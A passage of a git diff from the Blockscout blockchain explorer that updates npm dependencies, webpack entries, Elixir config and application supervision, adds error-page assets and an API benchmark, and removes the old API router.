"^11.4.29", + "sweetalert2": "^11.22.4", "urijs": "^1.19.11", - "url": "^0.11.0", - "util": "^0.12.3", - "web3": "^1.7.0", - "web3modal": "^1.9.9", - "xss": "^1.0.14" + "url": "^0.11.4", + "util": "^0.12.5", + "viewerjs": "^1.11.7", + "web3": "^4.12.1", + "web3modal": "^1.9.12", + "xss": "^1.0.15" }, "devDependencies": { - "@babel/core": "^7.18.13", - "@babel/preset-env": "^7.18.10", - "autoprefixer": "^10.4.8", - "babel-loader": "^8.2.5", - "copy-webpack-plugin": "^11.0.0", - "css-loader": "^5.2.7", - "css-minimizer-webpack-plugin": "^4.0.0", - "eslint": "^8.23.0", - "eslint-config-standard": "^17.0.0", - "eslint-plugin-import": "^2.26.0", + "@babel/core": "^7.28.0", + "@babel/preset-env": "^7.28.0", + "autoprefixer": "^10.4.21", + "babel-loader": "^10.0.0", + "copy-webpack-plugin": "^13.0.0", + "css-loader": "^7.1.2", + "css-minimizer-webpack-plugin": "^7.0.2", + "eslint": "^9.30.1", + "eslint-formatter-junit": "^8.40.0", + "eslint-plugin-import": "^2.32.0", "eslint-plugin-node": "^11.1.0", - "eslint-plugin-promise": "^6.0.1", + "eslint-plugin-promise": "^7.2.1", "file-loader": "^6.2.0", - "jest": "^29.0.1", - "jest-environment-jsdom": "^29.0.1", - "mini-css-extract-plugin": "^2.6.1", - "postcss": "^8.4.16", - "postcss-loader": "^7.0.1", - "sass": "^1.54.8", - "sass-loader": "^13.0.2", - "style-loader": "^3.3.1", - "webpack": "^5.74.0", - "webpack-cli": "^4.10.0" + "globals": "^16.3.0", + "jest": "^29.7.0", + "jest-environment-jsdom": "^30.0.5", + "mini-css-extract-plugin": "^2.9.2", + "postcss": "^8.5.6", + "postcss-loader": "^8.1.1", + "sass": "^1.89.2", + "sass-loader": "^14.2.1", + "style-loader": "^4.0.0", + "webpack": "^5.99.9", + "webpack-cli": "^6.0.1" }, "jest": { "moduleNameMapper": { diff --git a/apps/block_scout_web/assets/static/503.html b/apps/block_scout_web/assets/static/503.html new file mode 100644 index 000000000000..342a196a07f6 --- /dev/null +++ b/apps/block_scout_web/assets/static/503.html @@ -0,0 +1,200 @@ + + + + + + + + + + + + + + + BlockScout Explorer + + + +
+
+
+
+
+ + + +
+
+

Service unavailable

+

::CLOUDFLARE_ERROR_500S_BOX::

+

Hang on… we’re working on a fix! Please come back soon to try again.

+ Back to home +
+
+
+
+
+ + + diff --git a/apps/block_scout_web/assets/static/images/blockscout_logo.svg b/apps/block_scout_web/assets/static/images/blockscout_logo.svg index 2ac7cff8c534..a3aa8d156d39 100644 --- a/apps/block_scout_web/assets/static/images/blockscout_logo.svg +++ b/apps/block_scout_web/assets/static/images/blockscout_logo.svg @@ -1 +1 @@ - \ No newline at end of file + \ No newline at end of file diff --git a/apps/block_scout_web/assets/static/images/errors-img/internal-server-error.svg b/apps/block_scout_web/assets/static/images/errors-img/internal-server-error.svg new file mode 100644 index 000000000000..15b5c7911252 --- /dev/null +++ b/apps/block_scout_web/assets/static/images/errors-img/internal-server-error.svg @@ -0,0 +1,4 @@ + + + + diff --git a/apps/block_scout_web/assets/static/images/errors-img/page-not-found.svg b/apps/block_scout_web/assets/static/images/errors-img/page-not-found.svg new file mode 100644 index 000000000000..77b8bbe8ea25 --- /dev/null +++ b/apps/block_scout_web/assets/static/images/errors-img/page-not-found.svg @@ -0,0 +1,4 @@ + + + + diff --git a/apps/block_scout_web/assets/static/images/errors-img/tx-not-found.svg b/apps/block_scout_web/assets/static/images/errors-img/tx-not-found.svg new file mode 100644 index 000000000000..1e6cfb918531 --- /dev/null +++ b/apps/block_scout_web/assets/static/images/errors-img/tx-not-found.svg @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/apps/block_scout_web/assets/static/images/errors-img/unprocessable-entity.svg b/apps/block_scout_web/assets/static/images/errors-img/unprocessable-entity.svg new file mode 100644 index 000000000000..c4c8ff11c88b --- /dev/null +++ b/apps/block_scout_web/assets/static/images/errors-img/unprocessable-entity.svg @@ -0,0 +1,4 @@ + + + + diff --git a/apps/block_scout_web/assets/static/images/icons/fontawesome/twitter.svg b/apps/block_scout_web/assets/static/images/icons/fontawesome/twitter.svg index e189ab857d20..d1242d3930c7 100644 --- a/apps/block_scout_web/assets/static/images/icons/fontawesome/twitter.svg +++ b/apps/block_scout_web/assets/static/images/icons/fontawesome/twitter.svg @@ -1 +1,4 @@ - \ No newline at end of file + + + + diff --git a/apps/block_scout_web/assets/static/images/icons/token_icon_default.svg b/apps/block_scout_web/assets/static/images/icons/token_icon_default.svg new file mode 100644 index 000000000000..5c0579c828ff --- /dev/null +++ b/apps/block_scout_web/assets/static/images/icons/token_icon_default.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/apps/block_scout_web/assets/static/robots.txt b/apps/block_scout_web/assets/static/robots.txt deleted file mode 100644 index 3c9c7c01f30b..000000000000 --- a/apps/block_scout_web/assets/static/robots.txt +++ /dev/null @@ -1,5 +0,0 @@ -# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file -# -# To ban all spiders from the entire site uncomment the next two lines: -# User-agent: * -# Disallow: / diff --git a/apps/block_scout_web/assets/webpack.config.js b/apps/block_scout_web/assets/webpack.config.js index 3b95893c7634..3b90aeec8e33 100644 --- a/apps/block_scout_web/assets/webpack.config.js +++ b/apps/block_scout_web/assets/webpack.config.js @@ -36,6 +36,7 @@ const appJs = { entry: { 'app': './js/app.js', + 'app_extra': './js/app_extra.js', 'chart-loader': './js/chart-loader.js', 'balance-chart-loader': './js/balance-chart-loader.js', 'chain': './js/pages/chain.js', @@ -48,6 +49,7 @@ const appJs = 'address-logs': './js/pages/address/logs.js', 'address-validations': './js/pages/address/validations.js', 'validated-transactions': './js/pages/transactions.js', + 'verified-contracts': './js/pages/verified_contracts.js', 'pending-transactions': './js/pages/pending_transactions.js', 'transaction': './js/pages/transaction.js', 'verification-form': './js/pages/verification_form.js', @@ -56,6 +58,7 @@ const appJs = 'admin-tasks': './js/pages/admin/tasks.js', 'token-contract': './js/pages/token_contract.js', 'smart-contract-helpers': './js/lib/smart_contract/index.js', + 'sol2uml': './js/pages/sol2uml.js', 'token-transfers-toggle': './js/lib/token_transfers_toggle.js', 'try-api': './js/lib/try_api.js', 'try-eth-api': './js/lib/try_eth_api.js', @@ -66,11 +69,15 @@ const appJs = 'text-ad': './js/lib/text_ad.js', 'banner': './js/lib/banner.js', 'autocomplete': './js/lib/autocomplete.js', + 'custom-scrollbar': './js/lib/custom_scrollbar.js', + 'custom-scrollbar-styles': './css/custom-scrollbar.scss', 'search-results': './js/pages/search-results/search.js', 'token-overview': './js/pages/token/overview.js', 'export-csv': './css/export-csv.scss', 'csv-download': './js/lib/csv_download.js', - 'dropzone': './js/lib/dropzone.js' + 'dropzone': './js/lib/dropzone.js', + 'delete-item-handler': './js/pages/account/delete_item_handler.js', + 'public-tags-request-form': './js/lib/public_tags_request_form.js' }, output: { filename: '[name].js', @@ -81,6 +88,10 @@ const appJs = }, module: { rules: [ + { + test: /\.css$/, + use: ["style-loader", "css-loader"], + }, { test: /\.js$/, exclude: /node_modules/, @@ -97,7 +108,10 @@ const appJs = esModule: false, }, }, { - loader: 'css-loader' + loader: 'css-loader', + options: { + esModule: false, + }, }, { loader: 'postcss-loader' }, { @@ -155,8 +169,10 @@ const appJs = ), new ContextReplacementPlugin(/moment[\/\\]locale$/, /en/), new webpack.DefinePlugin({ - 'process.env.SOCKET_ROOT': JSON.stringify(process.env.SOCKET_ROOT), - 'process.env.NETWORK_PATH': JSON.stringify(process.env.NETWORK_PATH) + 'process.env.MIXPANEL_TOKEN': JSON.stringify(process.env.MIXPANEL_TOKEN), + 'process.env.MIXPANEL_URL': JSON.stringify(process.env.MIXPANEL_URL), + 'process.env.AMPLITUDE_API_KEY': JSON.stringify(process.env.AMPLITUDE_API_KEY), + 'process.env.AMPLITUDE_URL': JSON.stringify(process.env.AMPLITUDE_URL) }), new webpack.ProvidePlugin({ process: 'process/browser', diff --git a/apps/block_scout_web/benchmarks/block_scout_web/controllers/api/v2/block_controller_benchmark.exs b/apps/block_scout_web/benchmarks/block_scout_web/controllers/api/v2/block_controller_benchmark.exs new file mode 100644 index 000000000000..91a189ae1fc5 --- /dev/null +++ b/apps/block_scout_web/benchmarks/block_scout_web/controllers/api/v2/block_controller_benchmark.exs @@ -0,0 +1,68 @@ +defmodule BlockScoutWeb.API.V2.BlockControllerBenchmark do + @moduledoc """ + Benchmark for the Block API V2 controller. + Tests the performance of the /api/v2/blocks endpoint with various data volumes. + + To run: + ``` + cd apps/block_scout_web + mix run benchmarks/block_scout_web/controllers/api/v2/block_controller_benchmark.exs + ``` + """ + use BlockScoutWeb.BenchmarkCase + + alias Explorer.Repo + alias Explorer.Chain.Block + + @doc """ + Benchmark the first page of the /api/v2/blocks endpoint. It mainly tests the performance of `Explorer.Chain.Cache.Blocks`. + """ + def list_blocks_first_page do + benchmark_setup() + + Benchee.run( + %{ + "GET /api/v2/blocks first page (cached)" => fn %{conn: conn} -> + get(conn, "/api/v2/blocks") + end + }, + inputs: %{ + " 0 blocks 0 transactions per block" => %{block_count: 0, transaction_per_block: 0}, + "51 blocks 0 transactions per block" => %{block_count: 51, transaction_per_block: 0}, + "51 blocks 10 transactions per block" => %{block_count: 51, transaction_per_block: 10}, + "51 blocks 100 transactions per block" => %{block_count: 51, transaction_per_block: 100}, + "51 blocks 500 transactions per block" => %{block_count: 51, transaction_per_block: 500} + }, + before_scenario: fn %{block_count: block_count, transaction_per_block: transaction_per_block} = input -> + reset_db() + + Application.put_env(:explorer, Explorer.Chain.Cache.Blocks, ttl_check_interval: false, global_ttl: nil) + + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + + 0 = Repo.aggregate(Block, :count, :hash) + + block_count + |> insert_list(:block) + |> Enum.each(fn block -> + transaction_per_block + |> insert_list(:transaction) + |> with_block(block) + end) + + Map.put(input, :conn, get_conn()) + end, + formatters: [Benchee.Formatters.Console], + load: @path, + save: [ + path: @path + ], + warmup: 1, + time: 10, + memory_time: 10 + ) + end +end + +BlockScoutWeb.API.V2.BlockControllerBenchmark.list_blocks_first_page() diff --git a/apps/block_scout_web/benchmarks/support/benchmark_case.ex b/apps/block_scout_web/benchmarks/support/benchmark_case.ex new file mode 100644 index 000000000000..4539220b907d --- /dev/null +++ b/apps/block_scout_web/benchmarks/support/benchmark_case.ex @@ -0,0 +1,64 @@ +defmodule BlockScoutWeb.BenchmarkCase do + @moduledoc """ + This module defines the benchmark case to be used by benchmarks. + + This module provides common setup and utilities for benchmarking, + similar to ConnCase but optimized for benchmarking needs, including: + + - Database sandbox management + - Connection building + - Factory imports + - Common helpers + + ## Example + + ```elixir + defmodule BlockScoutWeb.MyBenchmark do + use BlockScoutWeb.BenchmarkCase + + def run do + Benchee.run(...) + end + end + + # Run the benchmark + BlockScoutWeb.MyBenchmark.run() + ``` + """ + + defmacro __using__(_opts) do + caller_file = __CALLER__.file + path = caller_file |> String.replace(Path.extname(caller_file), ".benchee") + + quote do + import Explorer.Factory + import Phoenix.ConnTest + + @endpoint BlockScoutWeb.Endpoint + @path unquote(path) + + @doc """ + Resets the database for consistent benchmarks + """ + def reset_db do + :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo, ownership_timeout: :infinity) + end + + @doc """ + Gets a Phoenix connection for HTTP request benchmarks + """ + def get_conn do + Phoenix.ConnTest.build_conn() + end + + @doc """ + Setup common benchmark environment + """ + def benchmark_setup do + {:ok, _} = Application.ensure_all_started(:block_scout_web) + + :ok + end + end + end +end diff --git a/apps/block_scout_web/config/config.exs b/apps/block_scout_web/config/config.exs index dc2add39a879..24f380eadd14 100644 --- a/apps/block_scout_web/config/config.exs +++ b/apps/block_scout_web/config/config.exs @@ -5,24 +5,30 @@ # is restricted to this project. import Config +[__DIR__ | ~w(.. .. .. config config_helper.exs)] +|> Path.join() +|> Code.eval_file() + # General application configuration config :block_scout_web, namespace: BlockScoutWeb, - ecto_repos: [Explorer.Repo] + ecto_repos: ConfigHelper.repos(), + cookie_domain: System.get_env("SESSION_COOKIE_DOMAIN"), + # 604800 seconds, 1 week + session_cookie_ttl: 60 * 60 * 24 * 7, + invalid_session_key: "invalid_session", + api_v2_temp_token_key: "api_v2_temp_token", + http_client: Explorer.HttpClient.Tesla + +config :block_scout_web, + admin_panel_enabled: ConfigHelper.parse_bool_env_var("ADMIN_PANEL_ENABLED") config :block_scout_web, - admin_panel_enabled: System.get_env("ADMIN_PANEL_ENABLED", "") == "true" + disable_api?: ConfigHelper.parse_bool_env_var("DISABLE_API") config :block_scout_web, BlockScoutWeb.Counters.BlocksIndexedCounter, enabled: true -# Configures the endpoint -config :block_scout_web, BlockScoutWeb.Endpoint, - url: [ - path: System.get_env("NETWORK_PATH") || "/", - api_path: System.get_env("API_PATH") || "/" - ], - render_errors: [view: BlockScoutWeb.ErrorView, accepts: ~w(html json)], - pubsub_server: BlockScoutWeb.PubSub +config :block_scout_web, BlockScoutWeb.Counters.InternalTransactionsIndexedCounter, enabled: true config :block_scout_web, BlockScoutWeb.Tracer, service: :block_scout_web, @@ -54,7 +60,29 @@ config :logger, :block_scout_web, block_number step count error_count shrunk import_id transaction_id)a, metadata_filter: [application: :block_scout_web] -config :prometheus, BlockScoutWeb.Prometheus.Instrumenter, +config :logger, :api, + # keep synced with `config/config.exs` + format: "$dateT$time $metadata[$level] $message\n", + metadata: + ~w(application fetcher request_id first_block_number last_block_number missing_block_range_count missing_block_count + block_number step count error_count shrunk import_id transaction_id)a, + metadata_filter: [application: :api] + +config :logger, :api_v2, + # keep synced with `config/config.exs` + format: "$dateT$time $metadata[$level] $message\n", + metadata: + ~w(application fetcher request_id first_block_number last_block_number missing_block_range_count missing_block_count + block_number step count error_count shrunk import_id transaction_id)a, + metadata_filter: [application: :api_v2] + +config :prometheus, BlockScoutWeb.Prometheus.PublicExporter, + path: "/public-metrics", + format: :auto, + registry: :public, + auth: false + +config :prometheus, BlockScoutWeb.Prometheus.PhoenixInstrumenter, # override default for Phoenix 1.4 compatibility # * `:transport_name` to `:transport` # * remove `:vsn` @@ -66,20 +94,33 @@ config :prometheus, BlockScoutWeb.Prometheus.Instrumenter, config :spandex_phoenix, tracer: BlockScoutWeb.Tracer -config :wobserver, - # return only the local node - discovery: :none, - mode: :plug +config :block_scout_web, BlockScoutWeb.Routers.ApiRouter, + writing_enabled: !ConfigHelper.parse_bool_env_var("API_V1_WRITE_METHODS_DISABLED"), + reading_enabled: !ConfigHelper.parse_bool_env_var("API_V1_READ_METHODS_DISABLED") + +config :block_scout_web, BlockScoutWeb.Routers.WebRouter, enabled: !ConfigHelper.parse_bool_env_var("DISABLE_WEBAPP") + +config :block_scout_web, BlockScoutWeb.CSPHeader, + mixpanel_url: System.get_env("MIXPANEL_URL", "https://api-js.mixpanel.com"), + amplitude_url: System.get_env("AMPLITUDE_URL", "https://api2.amplitude.com/2/httpapi") + +config :block_scout_web, Api.GraphQL, + enabled: ConfigHelper.parse_bool_env_var("API_GRAPHQL_ENABLED", "true"), + token_limit: ConfigHelper.parse_integer_env_var("API_GRAPHQL_TOKEN_LIMIT", 1000), + max_complexity: ConfigHelper.parse_integer_env_var("API_GRAPHQL_MAX_COMPLEXITY", 100) -config :block_scout_web, BlockScoutWeb.ApiRouter, - writing_enabled: System.get_env("DISABLE_WRITE_API") != "true", - reading_enabled: System.get_env("DISABLE_READ_API") != "true", - wobserver_enabled: System.get_env("WOBSERVER_ENABLED") == "true" +# Configures Ueberauth local settings +config :ueberauth, Ueberauth, + providers: [ + auth0: { + Ueberauth.Strategy.Auth0, + [callback_path: "/auth/auth0/callback", callback_params: ["path"]] + } + ] -config :block_scout_web, BlockScoutWeb.WebRouter, enabled: System.get_env("DISABLE_WEBAPP") != "true" +config :oauth2, adapter: Tesla.Adapter.Mint -config :hammer, - backend: {Hammer.Backend.ETS, [expiry_ms: 60_000 * 60 * 4, cleanup_interval_ms: 60_000 * 10]} +config :tesla, adapter: Tesla.Adapter.Mint # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. diff --git a/apps/block_scout_web/config/dev.exs b/apps/block_scout_web/config/dev.exs index d26e1b28d26c..d69502e2d5bd 100644 --- a/apps/block_scout_web/config/dev.exs +++ b/apps/block_scout_web/config/dev.exs @@ -57,10 +57,13 @@ config :logger, :block_scout_web, config :logger, :api, level: :debug, path: Path.absname("logs/dev/api.log"), - metadata_filter: [fetcher: :api] + metadata_filter: [application: :api] + +config :logger, :api_v2, + level: :debug, + path: Path.absname("logs/dev/api_v2.log"), + metadata_filter: [application: :api_v2] # Set a higher stacktrace during development. Avoid configuring such # in production as building large stacktraces may be expensive. config :phoenix, :stacktrace_depth, 20 - -config :block_scout_web, :captcha_helper, BlockScoutWeb.CaptchaHelper diff --git a/apps/block_scout_web/config/prod.exs b/apps/block_scout_web/config/prod.exs index 4f4fb7b6382c..2efcfd72068f 100644 --- a/apps/block_scout_web/config/prod.exs +++ b/apps/block_scout_web/config/prod.exs @@ -15,11 +15,7 @@ import Config # which you typically run after static files are built. config :block_scout_web, BlockScoutWeb.Endpoint, cache_static_manifest: "priv/static/cache_manifest.json", - force_ssl: false, - url: [ - path: System.get_env("NETWORK_PATH") || "/", - api_path: System.get_env("API_PATH") || "/" - ] + force_ssl: false config :block_scout_web, BlockScoutWeb.Tracer, env: "production", disabled?: true @@ -31,7 +27,11 @@ config :logger, :block_scout_web, config :logger, :api, level: :debug, path: Path.absname("logs/prod/api.log"), - metadata_filter: [fetcher: :api], + metadata_filter: [application: :api], rotate: %{max_bytes: 52_428_800, keep: 19} -config :block_scout_web, :captcha_helper, BlockScoutWeb.CaptchaHelper +config :logger, :api_v2, + level: :debug, + path: Path.absname("logs/prod/api_v2.log"), + metadata_filter: [application: :api_v2], + rotate: %{max_bytes: 52_428_800, keep: 19} diff --git a/apps/block_scout_web/config/runtime/test.exs b/apps/block_scout_web/config/runtime/test.exs index 29e4e71f6d01..9a9309ffdac3 100644 --- a/apps/block_scout_web/config/runtime/test.exs +++ b/apps/block_scout_web/config/runtime/test.exs @@ -1,18 +1,18 @@ import Config -config :explorer, Explorer.ExchangeRates, enabled: false, store: :none +alias EthereumJSONRPC.Variant -config :explorer, Explorer.KnownTokens, enabled: false, store: :none +config :ethereum_jsonrpc, EthereumJSONRPC.Utility.EndpointAvailabilityChecker, enabled: false +config :explorer, Explorer.Market.Fetcher.Coin, enabled: false, store: :ets -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "parity" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end +config :ueberauth, Ueberauth.Strategy.Auth0.OAuth, + domain: "example.com", + client_id: "client_id", + client_secret: "secrets" + +config :ueberauth, Ueberauth, logout_url: "example.com/logout" + +variant = Variant.get() Code.require_file("#{variant}.exs", "#{__DIR__}/../../../explorer/config/test") Code.require_file("#{variant}.exs", "#{__DIR__}/../../../indexer/config/test") diff --git a/apps/block_scout_web/config/test.exs b/apps/block_scout_web/config/test.exs index 69ff45e1da44..f7327da90a86 100644 --- a/apps/block_scout_web/config/test.exs +++ b/apps/block_scout_web/config/test.exs @@ -22,4 +22,14 @@ config :wallaby, screenshot_on_failure: true, driver: Wallaby.Chrome, js_errors: config :block_scout_web, BlockScoutWeb.Counters.BlocksIndexedCounter, enabled: false -config :block_scout_web, :captcha_helper, BlockScoutWeb.TestCaptchaHelper +config :block_scout_web, BlockScoutWeb.Counters.InternalTransactionsIndexedCounter, enabled: false + +config :tesla, adapter: Explorer.Mock.TeslaAdapter + +config :ueberauth, Ueberauth, + providers: [ + auth0: { + Ueberauth.Strategy.Auth0, + [callback_url: "example.com/callback"] + } + ] diff --git a/apps/block_scout_web/lib/block_scout_web.ex b/apps/block_scout_web/lib/block_scout_web.ex index fddfe7cf35d6..ddc521e086fa 100644 --- a/apps/block_scout_web/lib/block_scout_web.ex +++ b/apps/block_scout_web/lib/block_scout_web.ex @@ -24,12 +24,23 @@ defmodule BlockScoutWeb do import BlockScoutWeb.Controller import BlockScoutWeb.Router.Helpers - import BlockScoutWeb.WebRouter.Helpers, except: [static_path: 2] - import BlockScoutWeb.Gettext - import BlockScoutWeb.ErrorHelpers + import BlockScoutWeb.Routers.WebRouter.Helpers, except: [static_path: 2] + use Gettext, backend: BlockScoutWeb.Gettext + import BlockScoutWeb.ErrorHelper + import BlockScoutWeb.Routers.AccountRouter.Helpers, except: [static_path: 2] import Plug.Conn - alias BlockScoutWeb.AdminRouter.Helpers, as: AdminRoutes + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, + only: [proxy_implementations_association: 0, proxy_implementations_smart_contracts_association: 0] + + alias BlockScoutWeb.Routers.AdminRouter.Helpers, as: AdminRoutes + + alias BlockScoutWeb.Schemas.API.V2, as: Schemas + alias OpenApiSpex.{Schema, Reference} + alias OpenApiSpex.JsonErrorResponse + alias Schemas.ErrorResponses.ForbiddenResponse + + import BlockScoutWeb.Schemas.API.V2.General end end @@ -46,17 +57,24 @@ defmodule BlockScoutWeb do use Phoenix.HTML import BlockScoutWeb.{ - CurrencyHelpers, - ErrorHelpers, - Gettext, + CurrencyHelper, + ErrorHelper, Router.Helpers, - TabHelpers, - Tokens.Helpers, - Views.ScriptHelpers, - WeiHelpers + TabHelper, + Tokens.Helper, + Views.ScriptHelper, + WeiHelper } - import BlockScoutWeb.WebRouter.Helpers, except: [static_path: 2] + use Gettext, backend: BlockScoutWeb.Gettext + + import BlockScoutWeb.Routers.AccountRouter.Helpers, except: [static_path: 2] + + import Explorer.Chain.CurrencyHelper, only: [divide_decimals: 2] + + import BlockScoutWeb.Routers.WebRouter.Helpers, except: [static_path: 2] + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] end end @@ -73,7 +91,10 @@ defmodule BlockScoutWeb do quote do use Phoenix.Channel - import BlockScoutWeb.Gettext + use Gettext, backend: BlockScoutWeb.Gettext + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + import BlockScoutWeb.AccessHelper, only: [valid_address_hash_and_not_restricted_access?: 1] end end diff --git a/apps/block_scout_web/lib/block_scout_web/api_router.ex b/apps/block_scout_web/lib/block_scout_web/api_router.ex deleted file mode 100644 index 6063941f69b9..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/api_router.ex +++ /dev/null @@ -1,71 +0,0 @@ -defmodule RPCTranslatorForwarder do - @moduledoc """ - Phoenix router limits forwarding, - so this module is to forward old paths for backward compatibility - """ - alias BlockScoutWeb.API.RPC.RPCTranslator - defdelegate init(opts), to: RPCTranslator - defdelegate call(conn, opts), to: RPCTranslator -end - -defmodule BlockScoutWeb.ApiRouter do - @moduledoc """ - Router for API - """ - use BlockScoutWeb, :router - - pipeline :api do - plug(:accepts, ["json"]) - end - - scope "/v1", as: :api_v1 do - pipe_through(:api) - alias BlockScoutWeb.API.{EthRPC, RPC, V1} - alias BlockScoutWeb.API.V1.HealthController - - get("/health", HealthController, :health) - get("/gas-price-oracle", V1.GasPriceOracleController, :gas_price_oracle) - - if Application.get_env(:block_scout_web, __MODULE__)[:reading_enabled] do - get("/supply", V1.SupplyController, :supply) - post("/eth-rpc", EthRPC.EthController, :eth_request) - end - - if Application.get_env(:block_scout_web, __MODULE__)[:writing_enabled] do - post("/decompiled_smart_contract", V1.DecompiledSmartContractController, :create) - post("/verified_smart_contracts", V1.VerifiedSmartContractController, :create) - end - - if Application.get_env(:block_scout_web, __MODULE__)[:reading_enabled] do - forward("/", RPC.RPCTranslator, %{ - "block" => {RPC.BlockController, []}, - "account" => {RPC.AddressController, []}, - "logs" => {RPC.LogsController, []}, - "token" => {RPC.TokenController, []}, - "stats" => {RPC.StatsController, []}, - "contract" => {RPC.ContractController, [:verify]}, - "transaction" => {RPC.TransactionController, []} - }) - end - end - - # For backward compatibility. Should be removed - scope "/" do - pipe_through(:api) - alias BlockScoutWeb.API.{EthRPC, RPC} - - if Application.get_env(:block_scout_web, __MODULE__)[:reading_enabled] do - post("/eth-rpc", EthRPC.EthController, :eth_request) - - forward("/", RPCTranslatorForwarder, %{ - "block" => {RPC.BlockController, []}, - "account" => {RPC.AddressController, []}, - "logs" => {RPC.LogsController, []}, - "token" => {RPC.TokenController, []}, - "stats" => {RPC.StatsController, []}, - "contract" => {RPC.ContractController, [:verify]}, - "transaction" => {RPC.TransactionController, []} - }) - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/api_spec.ex b/apps/block_scout_web/lib/block_scout_web/api_spec.ex new file mode 100644 index 000000000000..09e09051781a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/api_spec.ex @@ -0,0 +1,28 @@ +defmodule BlockScoutWeb.ApiSpec do + @moduledoc """ + This module defines the API specification for the BlockScoutWeb application. + """ + alias BlockScoutWeb.{Routers.ApiRouter} + alias OpenApiSpex.{Contact, Info, OpenApi, Paths, Server} + alias Utils.Helper + + @behaviour OpenApi + + @impl OpenApi + def spec do + %OpenApi{ + servers: [ + %Server{url: to_string(Helper.instance_url() |> URI.append_path("/api"))} + ], + info: %Info{ + title: "Blockscout", + version: to_string(Application.spec(:block_scout_web, :vsn)), + contact: %Contact{ + email: "info@blockscout.com" + } + }, + paths: Paths.from_router(ApiRouter) + } + |> OpenApiSpex.resolve_schema_modules() + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/api_v2.ex b/apps/block_scout_web/lib/block_scout_web/api_v2.ex new file mode 100644 index 000000000000..6bd12a410332 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/api_v2.ex @@ -0,0 +1,9 @@ +defmodule BlockScoutWeb.API.V2 do + @moduledoc """ + API V2 context + """ + + def enabled? do + Application.get_env(:block_scout_web, __MODULE__)[:enabled] + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/application.ex b/apps/block_scout_web/lib/block_scout_web/application.ex index 07ff0f87f1c1..0c293d2e6c0e 100644 --- a/apps/block_scout_web/lib/block_scout_web/application.ex +++ b/apps/block_scout_web/lib/block_scout_web/application.ex @@ -4,29 +4,33 @@ defmodule BlockScoutWeb.Application do """ use Application + use Utils.CompileTimeEnvHelper, disable_api?: [:block_scout_web, :disable_api?] - alias BlockScoutWeb.Counters.BlocksIndexedCounter - alias BlockScoutWeb.{Endpoint, Prometheus} - alias BlockScoutWeb.RealtimeEventHandler + alias BlockScoutWeb.{Endpoint, HealthEndpoint, RateLimit.Hammer} + alias BlockScoutWeb.Utility.RateLimitConfigHelper def start(_type, _args) do - import Supervisor + opts = [strategy: :one_for_one, name: BlockScoutWeb.Supervisor, max_restarts: 1_000] - Prometheus.Instrumenter.setup() - Prometheus.Exporter.setup() + if not @disable_api? do + RateLimitConfigHelper.store_rate_limit_config() + end - # Define workers and child supervisors to be supervised - children = [ - # Start the endpoint when the application starts - {Phoenix.PubSub, name: BlockScoutWeb.PubSub}, - child_spec(Endpoint, []), - {Absinthe.Subscription, Endpoint}, - {RealtimeEventHandler, name: RealtimeEventHandler}, - {BlocksIndexedCounter, name: BlocksIndexedCounter} - ] + if Application.get_env(:nft_media_handler, :standalone_media_worker?) do + Supervisor.start_link([Supervisor.child_spec(HealthEndpoint, [])], opts) + else + # Endpoint must be the last child in the supervision tree + # since it must be started after all of the other processes + # (to be sure that application is ready to handle traffic) + # and stopped before them for the same reason. + # However, some processes may depend on Endpoint + # so they need to be started after. + base_children = [Supervisor.child_spec(Endpoint, [])] + {first_api_children, last_api_children} = setup_and_define_children() + all_children = first_api_children ++ base_children ++ last_api_children - opts = [strategy: :one_for_one, name: BlockScoutWeb.Supervisor, max_restarts: 1_000] - Supervisor.start_link(children, opts) + Supervisor.start_link(all_children, opts) + end end # Tell Phoenix to update the endpoint configuration @@ -35,4 +39,58 @@ defmodule BlockScoutWeb.Application do Endpoint.config_change(changed, removed) :ok end + + if @disable_api? do + defp setup_and_define_children do + BlockScoutWeb.Prometheus.Exporter.setup() + {[], []} + end + else + defp setup_and_define_children do + alias BlockScoutWeb.API.APILogger + alias BlockScoutWeb.Counters.{BlocksIndexedCounter, InternalTransactionsIndexedCounter} + alias BlockScoutWeb.Prometheus.{Exporter, PhoenixInstrumenter, PublicExporter} + + alias BlockScoutWeb.RealtimeEventHandlers.{ + Main, + MainPage, + SmartContract, + TokenTransfer + } + + alias BlockScoutWeb.Utility.EventHandlersMetrics + alias Explorer.Chain.Metrics, as: ChainMetrics + + PhoenixInstrumenter.setup() + Exporter.setup() + PublicExporter.setup() + + APILogger.message( + "Current API rate limit by key #{inspect(Application.get_env(:block_scout_web, :api_rate_limit)[:limit_by_key])} reqs/sec" + ) + + APILogger.message( + "Current API rate limit by IP #{inspect(Application.get_env(:block_scout_web, :api_rate_limit)[:limit_by_ip])} reqs/sec" + ) + + # Define workers and child supervisors to be supervised + { + [ + {Phoenix.PubSub, name: BlockScoutWeb.PubSub}, + {MainPage, name: MainPage}, + {Main, name: Main}, + {SmartContract, name: SmartContract}, + {TokenTransfer, name: TokenTransfer}, + {BlocksIndexedCounter, name: BlocksIndexedCounter}, + {InternalTransactionsIndexedCounter, name: InternalTransactionsIndexedCounter}, + {EventHandlersMetrics, []}, + {ChainMetrics, []}, + Hammer.child_for_supervisor() + ], + [ + {Absinthe.Subscription, Endpoint} + ] + } + end + end end diff --git a/apps/block_scout_web/lib/block_scout_web/captcha_helper.ex b/apps/block_scout_web/lib/block_scout_web/captcha_helper.ex index abeb3d16ebf6..816aa9bcdd6c 100644 --- 